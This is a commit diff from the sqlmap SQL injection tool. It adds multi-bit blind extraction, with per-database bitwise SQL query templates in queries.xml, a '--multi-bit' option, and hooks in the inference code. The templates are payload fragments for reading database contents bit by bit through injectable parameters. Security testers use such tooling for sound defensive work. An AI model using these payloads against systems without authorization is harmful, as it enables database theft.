Skip to content

Commit bdf3e09

Browse files
committed
Adding support for multi-bit boolean extraction
1 parent 9936745 commit bdf3e09

9 files changed

Lines changed: 1403 additions & 6 deletions

File tree

data/xml/queries.xml

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@
2020
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
2121
<hex query="HEX(%s)"/>
2222
<inference query="ORD(MID((%s),%d,1))>%d"/>
23+
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))&gt;&gt;MOD(%s-%s,%s))&amp;1)=1"/>
24+
<bitchar query="((ORD(MID((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
25+
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
2326
<banner query="VERSION()"/>
2427
<current_user query="CURRENT_USER()"/>
2528
<current_db query="DATABASE()"/>
@@ -101,6 +104,9 @@
101104
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
102105
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
103106
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
107+
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
108+
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))&gt;&gt;(%s))&amp;1)=1"/>
109+
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
104110
<banner query="VERSION()"/>
105111
<current_user query="CURRENT_USER"/>
106112
<current_db query="CURRENT_SCHEMA()"/>
@@ -180,6 +186,9 @@
180186
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
181187
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
182188
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
189+
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
190+
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
191+
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
183192
<banner query="SELECT @@VERSION"/>
184193
<current_user query="SELECT SYSTEM_USER"/>
185194
<current_db query="SELECT DB_NAME()"/>
@@ -260,6 +269,9 @@
260269
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
261270
-->
262271
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
272+
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))&gt;0)"/>
273+
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))&gt;0)"/>
274+
<bitcol query="BITAND(%s,POWER(2,%s))&gt;0"/>
263275
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
264276
<current_user query="SELECT USER FROM DUAL"/>
265277
<!--
@@ -360,6 +372,9 @@
360372
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
361373
<hex query="HEX(%s)"/>
362374
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
375+
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
376+
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
377+
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
363378
<banner query="SELECT SQLITE_VERSION()"/>
364379
<current_user/>
365380
<current_db/>

lib/controller/action.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,11 @@ def action():
5454

5555
setHandler()
5656

57+
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
58+
# before nudging the user towards a channel that reads several characters per request (no requests)
59+
from lib.techniques.blind import multibit
60+
multibit.hint()
61+
5762
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
5863
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
5964

lib/core/option.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2287,7 +2287,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
22872287
kb.lastParserStatus = None
22882288

22892289
kb.locks = AttribDict()
2290-
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
2290+
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
22912291
kb.locks[_] = threading.Lock()
22922292

22932293
kb.matchRatio = None
@@ -2296,6 +2296,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
22962296
kb.mergeCookies = None
22972297
kb.mysqlUtf8mb4 = None
22982298
kb.multiThreadMode = False
2299+
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
2300+
kb.multibitHinted = False
22992301
kb.multipleCtrlC = False
23002302
kb.negativeLogic = False
23012303
kb.nchar = True

lib/core/optiondict.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -137,6 +137,7 @@
137137
"oobToken": "string",
138138
"timeSec": "integer",
139139
"timeless": "boolean",
140+
"multiBit": "boolean",
140141
"uCols": "string",
141142
"uChar": "string",
142143
"uFrom": "string",

lib/core/settings.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.8.36"
23+
VERSION = "1.10.8.37"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1627,7 +1627,7 @@
16271627
CHECK_ZERO_COLUMNS_THRESHOLD = 10
16281628

16291629
# Boldify all logger messages containing these "patterns"
1630-
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")
1630+
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")
16311631

16321632
# Regular expression used to search for bold-patterns
16331633
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
@@ -1708,8 +1708,8 @@
17081708
SUHOSIN_MAX_VALUE_LENGTH = 512
17091709

17101710
# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
1711-
# response yields whole characters instead of a single boolean. Needs '--risk=3' (it widens the
1712-
# result set with OR) and proves every value back against the target before returning it.
1711+
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
1712+
# widens the result set with OR) and proves every value back against the target before returning it.
17131713
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
17141714
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
17151715
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit

lib/parse/cmdline.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -436,6 +436,9 @@ def cmdLineParser(argv=None):
436436
techniques.add_argument("--timeless", dest="timeless", action="store_true",
437437
help="Use HTTP/2 timeless timing (faster, no delay)")
438438

439+
techniques.add_argument("--multi-bit", dest="multiBit", action="store_true",
440+
help="Use rendered rows to read several bits per request")
441+
439442
techniques.add_argument("--union-cols", dest="uCols",
440443
help="Range of columns to test for UNION query SQL injection")
441444

lib/techniques/blind/inference.py

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,7 @@
7878
from lib.core.threads import runThreads
7979
from lib.core.unescaper import unescaper
8080
from lib.request.connect import Connect as Request
81+
from lib.techniques.blind import multibit
8182
from lib.utils.progress import ProgressBar
8283
from lib.utils.safe2bin import safecharencode
8384
from lib.utils.xrange import xrange
@@ -986,8 +987,17 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
986987
# and detects end-of-string correctly
987988
return getChar(idx, asciiTbl, True, retried=retried)
988989

990+
# Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came
991+
# back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It
992+
# returns None unless it proved the extracted value back against the target, so everything below
993+
# is untouched whenever it is unusable (and it owns its own threading, hence before this branch).
994+
multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue)
995+
996+
if multibitValue is not None:
997+
finalValue = multibitValue
998+
989999
# Go multi-threading (--threads > 1)
990-
if numThreads > 1 and isinstance(length, int) and length > 1:
1000+
elif numThreads > 1 and isinstance(length, int) and length > 1:
9911001
threadData.shared.value = [None] * length
9921002
threadData.shared.index = [firstChar] # As list for python nested function scoping
9931003
threadData.shared.start = firstChar

0 commit comments

Comments
 (0)